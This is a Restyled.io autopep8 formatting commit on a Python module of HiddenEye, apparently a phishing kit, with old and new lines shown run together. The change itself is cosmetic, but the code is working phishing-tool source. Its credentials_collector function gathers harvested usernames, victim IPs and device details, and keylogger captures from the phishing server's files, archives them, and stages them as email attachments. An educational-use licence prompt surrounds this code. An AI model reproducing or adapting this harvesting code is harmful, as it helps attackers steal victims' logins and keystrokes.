Restyled by autopep8

This commit is contained in:
Restyled.io 2020-09-10 11:55:29 +00:00
parent ebc2fe2b0d
commit 93edd02c0b

View File

@ -17,7 +17,7 @@ default_palette = theme.default_palette
def license_handler(): def license_handler():
eula = pathlib_Path("eula.txt") eula = pathlib_Path("eula.txt")
if eula.exists(): if eula.exists():
eula = eula.open('r') eula = eula.open('r')
with open('eula.txt', 'r') as f: with open('eula.txt', 'r') as f:
@ -36,7 +36,7 @@ def license_handler():
return False return False
def exit_message(port = 80): # Message when HiddenEye exit def exit_message(port=80): # Message when HiddenEye exit
choice = input(localization.lang_exit_message["choice"]) choice = input(localization.lang_exit_message["choice"])
choice.lower() choice.lower()
if choice == 'r': if choice == 'r':
@ -49,10 +49,12 @@ def exit_message(port = 80): # Message when HiddenEye exit
run_command('clear') run_command('clear')
print(global_localization.hidden_eye_logo) print(global_localization.hidden_eye_logo)
print(' ' + global_localization.by_darksec) print(' ' + global_localization.by_darksec)
print(' ' + global_localization.official_website_link) print(' ' +
global_localization.official_website_link)
print(localization.lang_exit_message["help_to_improve_this_tool"]) print(localization.lang_exit_message["help_to_improve_this_tool"])
print(localization.lang_exit_message["tell_if_page_got_broken"]) print(localization.lang_exit_message["tell_if_page_got_broken"])
print(localization.lang_exit_message["make_your_pull_request_or_issue"]) print(
localization.lang_exit_message["make_your_pull_request_or_issue"])
print(localization.lang_exit_message["small_disclaimer_suggestion"]) print(localization.lang_exit_message["small_disclaimer_suggestion"])
print(localization.lang_exit_message["forum_suggestion"]) print(localization.lang_exit_message["forum_suggestion"])
print(localization.lang_exit_message["financial_support"]) print(localization.lang_exit_message["financial_support"])
@ -61,32 +63,38 @@ def exit_message(port = 80): # Message when HiddenEye exit
run_command('clear') run_command('clear')
return exit_message(port) return exit_message(port)
def terms_of_service_message(): # menu where user select what they wanna use def terms_of_service_message(): # menu where user select what they wanna use
# Terms Of Service # Terms Of Service
# print("\n\n\n {1}WITH GREAT {0}POWER {2}- {1}COMES GREAT {0}RESPONSIBILITY ".format(red, purple, blue)) # print("\n\n\n {1}WITH GREAT {0}POWER {2}- {1}COMES GREAT {0}RESPONSIBILITY ".format(red, purple, blue))
#if input("\n\n\n\n{2}[{1}!{2}]{3} Do you agree to use this tool for educational/testing purposes only? {1}({0}Y{1}/{2}N{1})\n{2}HiddenEye >>> {0}".format(default_palette[2], default_palette[4], default_palette[0], orange)).upper() != 'Y': # if input("\n\n\n\n{2}[{1}!{2}]{3} Do you agree to use this tool for educational/testing purposes only? {1}({0}Y{1}/{2}N{1})\n{2}HiddenEye >>> {0}".format(default_palette[2], default_palette[4], default_palette[0], orange)).upper() != 'Y':
# run_command('clear') # run_command('clear')
# print("\n\n[ {0}YOU ARE NOT AUTHORIZED TO USE THIS TOOL.YOU CAN ONLY USE IT FOR EDUCATIONAL PURPOSE.!{1} ]\n\n".format(default_palette[0], default_palette[4])) # print("\n\n[ {0}YOU ARE NOT AUTHORIZED TO USE THIS TOOL.YOU CAN ONLY USE IT FOR EDUCATIONAL PURPOSE.!{1} ]\n\n".format(default_palette[0], default_palette[4]))
# exit() # exit()
agreement = license_handler() agreement = license_handler()
if not agreement: if not agreement:
print(localization.lang_terms_of_service_message["GPL_3.0"]) print(localization.lang_terms_of_service_message["GPL_3.0"])
print(localization.lang_terms_of_service_message["great_power_great_responsibility"]) print(
print(localization.lang_terms_of_service_message["do_you_accept_license"]) localization.lang_terms_of_service_message["great_power_great_responsibility"])
print(localization.lang_terms_of_service_message["enter_this_to_confirm"]) print(
localization.lang_terms_of_service_message["do_you_accept_license"])
print(
localization.lang_terms_of_service_message["enter_this_to_confirm"])
agreement = input(global_localization.input_line) agreement = input(global_localization.input_line)
if localization.text_to_confirm_license not in agreement: if localization.text_to_confirm_license not in agreement:
print(localization.lang_terms_of_service_message["you_are_not_allowed"]) print(
localization.lang_terms_of_service_message["you_are_not_allowed"])
exit() exit()
else: else:
eula = open('eula.txt', 'w') eula = open('eula.txt', 'w')
eula.write(localization.write_eula +"eula = True") eula.write(localization.write_eula + "eula = True")
eula.close() eula.close()
return True return True
else: else:
return True return True
def module_loading_message(module): # This one just show text.. def module_loading_message(module): # This one just show text..
print(localization.lang_module_loading_message["select_any_mode"]) print(localization.lang_module_loading_message["select_any_mode"])
@ -98,18 +106,22 @@ def credentials_collector(port):
with open('Server/www/usernames.txt') as creds: with open('Server/www/usernames.txt') as creds:
lines = creds.read().rstrip() lines = creds.read().rstrip()
if len(lines) != 0: if len(lines) != 0:
log_writer(localization.lang_credentials_collector["credentials_found"] + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines)) log_writer(localization.lang_credentials_collector["credentials_found"] + "{0}{2}{1}".format(
#run_command("touch Server/CapturedData/usernames.txt default_palette[2], default_palette[3], lines))
pathlib_Path("Server/CapturedData/usernames.txt").touch(mode=0o777, exist_ok=True) # run_command("touch Server/CapturedData/usernames.txt
pathlib_Path(
# && cat Server/www/usernames.txt >> Server/CapturedData/usernames.txt "Server/CapturedData/usernames.txt").touch(mode=0o777, exist_ok=True)
captured_usernames = open('Server/CapturedData/usernames.txt', 'a')
# && cat Server/www/usernames.txt >> Server/CapturedData/usernames.txt
captured_usernames = open(
'Server/CapturedData/usernames.txt', 'a')
new_usernames = open('Server/www/usernames.txt') new_usernames = open('Server/www/usernames.txt')
captured_usernames.write(new_usernames.read()) captured_usernames.write(new_usernames.read())
new_usernames.close() new_usernames.close()
captured_usernames.close() captured_usernames.close()
# && cp Server/CapturedData/usernames.txt Defs/Send_Email/attachments/usernames.txt # && cp Server/CapturedData/usernames.txt Defs/Send_Email/attachments/usernames.txt
copyfile('Server/CapturedData/usernames.txt', 'Defs/FeatureManager/EmailManager/attachments/usernames.txt') copyfile('Server/CapturedData/usernames.txt',
'Defs/FeatureManager/EmailManager/attachments/usernames.txt')
# && echo -n '' > Server/www/usernames.txt") # && echo -n '' > Server/www/usernames.txt")
new_usernames = open('Server/www/usernames.txt', 'w') new_usernames = open('Server/www/usernames.txt', 'w')
@ -119,42 +131,48 @@ def credentials_collector(port):
with open('Server/www/ip.txt') as creds: with open('Server/www/ip.txt') as creds:
lines = creds.read().rstrip() lines = creds.read().rstrip()
if len(lines) != 0: if len(lines) != 0:
log_writer(localization.lang_credentials_collector["device_details_found"] + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines)) log_writer(localization.lang_credentials_collector["device_details_found"] + "{0}{2}{1}".format(
#run_command('touch Server/CapturedData/ip.txt default_palette[2], default_palette[3], lines))
pathlib_Path("Server/CapturedData/ip.txt").touch(mode=0o777, exist_ok=True) # run_command('touch Server/CapturedData/ip.txt
# && cat Server/www/ip.txt >> Server/CapturedData/ip.txt pathlib_Path(
"Server/CapturedData/ip.txt").touch(mode=0o777, exist_ok=True)
# && cat Server/www/ip.txt >> Server/CapturedData/ip.txt
captured_ips = open('Server/CapturedData/ip.txt', 'a') captured_ips = open('Server/CapturedData/ip.txt', 'a')
new_ips = open('Server/www/ip.txt') new_ips = open('Server/www/ip.txt')
captured_ips.write(new_ips.read()) captured_ips.write(new_ips.read())
new_ips.close() new_ips.close()
captured_ips.close() captured_ips.close()
# && cp Server/CapturedData/ip.txt Defs/Send_Email/attachments/ip.txt # && cp Server/CapturedData/ip.txt Defs/Send_Email/attachments/ip.txt
copyfile('Server/CapturedData/ip.txt', 'Defs/FeatureManager/EmailManager/attachments/ip.txt') copyfile('Server/CapturedData/ip.txt',
# && rm -rf Server/www/ip.txt 'Defs/FeatureManager/EmailManager/attachments/ip.txt')
# && rm -rf Server/www/ip.txt
new_ips = open('Server/www/ip.txt', 'w') new_ips = open('Server/www/ip.txt', 'w')
# && touch Server/www/ip.txt') # && touch Server/www/ip.txt')
new_ips.write('') new_ips.write('')
new_ips.close() new_ips.close()
creds.close() creds.close()
with open('Server/www/KeyloggerData.txt') as creds: with open('Server/www/KeyloggerData.txt') as creds:
lines = creds.read().rstrip() lines = creds.read().rstrip()
if len(lines) != 0: if len(lines) != 0:
log_writer(global_localization.line_of_dots) log_writer(global_localization.line_of_dots)
log_writer(localization.lang_credentials_collector["getting_pressed_keys"] + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines)) log_writer(localization.lang_credentials_collector["getting_pressed_keys"] + "{0}{2}{1}".format(
#run_command('touch Server/CapturedData/KeyloggerData.txt default_palette[2], default_palette[3], lines))
pathlib_Path('Server/CapturedData/KeyloggerData.txt').touch(mode=0o777, exist_ok=True) # run_command('touch Server/CapturedData/KeyloggerData.txt
pathlib_Path(
'Server/CapturedData/KeyloggerData.txt').touch(mode=0o777, exist_ok=True)
# && cat Server/www/KeyloggerData.txt >> Server/CapturedData/KeyloggerData.txt # && cat Server/www/KeyloggerData.txt >> Server/CapturedData/KeyloggerData.txt
captured_keys = open('Server/CapturedData/KeyloggerData.txt', 'a') captured_keys = open(
'Server/CapturedData/KeyloggerData.txt', 'a')
new_keys = open('Server/www/KeyloggerData.txt') new_keys = open('Server/www/KeyloggerData.txt')
captured_keys.write(new_keys.read()) captured_keys.write(new_keys.read())
new_keys.close() new_keys.close()
captured_keys.close() captured_keys.close()
# && cp Server/CapturedData/KeyloggerData.txt Defs/Send_Email/attachments/KeyloggerData.txt # && cp Server/CapturedData/KeyloggerData.txt Defs/Send_Email/attachments/KeyloggerData.txt
copyfile('Server/CapturedData/KeyloggerData.txt', 'Defs/FeatureManager/EmailManager/attachments/KeyloggerData.txt') copyfile('Server/CapturedData/KeyloggerData.txt',
# && rm -rf Server/www/KeyloggerData.txt 'Defs/FeatureManager/EmailManager/attachments/KeyloggerData.txt')
# && rm -rf Server/www/KeyloggerData.txt
new_keys = open('Server/www/KeyloggerData.txt', 'w') new_keys = open('Server/www/KeyloggerData.txt', 'w')
# && touch Server/www/KeyloggerData.txt') # && touch Server/www/KeyloggerData.txt')
new_keys.write('') new_keys.write('')
@ -164,14 +182,17 @@ def credentials_collector(port):
creds.close() creds.close()
def log_writer(ctx): # Writing log def log_writer(ctx): # Writing log
logFile = open("log.txt", "w") logFile = open("log.txt", "w")
logFile.write(ctx.replace(default_palette[0], "").replace(default_palette[1], "").replace(default_palette[2], "").replace(default_palette[3], "").replace(default_palette[4], "") + "\n") logFile.write(ctx.replace(default_palette[0], "").replace(default_palette[1], "").replace(
default_palette[2], "").replace(default_palette[3], "").replace(default_palette[4], "") + "\n")
print(ctx) print(ctx)
def port_selector(): # Question where user must select port def port_selector(): # Question where user must select port
run_command('clear') run_command('clear')
#print(''' # print('''
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} # {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} # |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
# | | | ]__| ]__| |__ | \| {0}|__ || |__{1} # | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
@ -194,6 +215,7 @@ def port_selector(): # Question where user must select port
except: except:
return port_selector() return port_selector()
def remove_readonly(func, path, _): def remove_readonly(func, path, _):
"Clear the readonly bit" "Clear the readonly bit"
chmod(path, stat.S_IWRITE) chmod(path, stat.S_IWRITE)
@ -220,6 +242,7 @@ def verify_connection(host='https://google.com'): # Connection check
print(localization.lang_verify_connection["verify_your_connection"]) print(localization.lang_verify_connection["verify_your_connection"])
exit() exit()
def check_permissions(): def check_permissions():
if platform_os() != "Windows": if platform_os() != "Windows":
@ -232,6 +255,7 @@ def check_permissions():
print(localization.lang_check_permissions["windows_warning"]) print(localization.lang_check_permissions["windows_warning"])
exit() exit()
def check_php(): def check_php():
try: try:
try_to_run_command(['php', '-v']) try_to_run_command(['php', '-v'])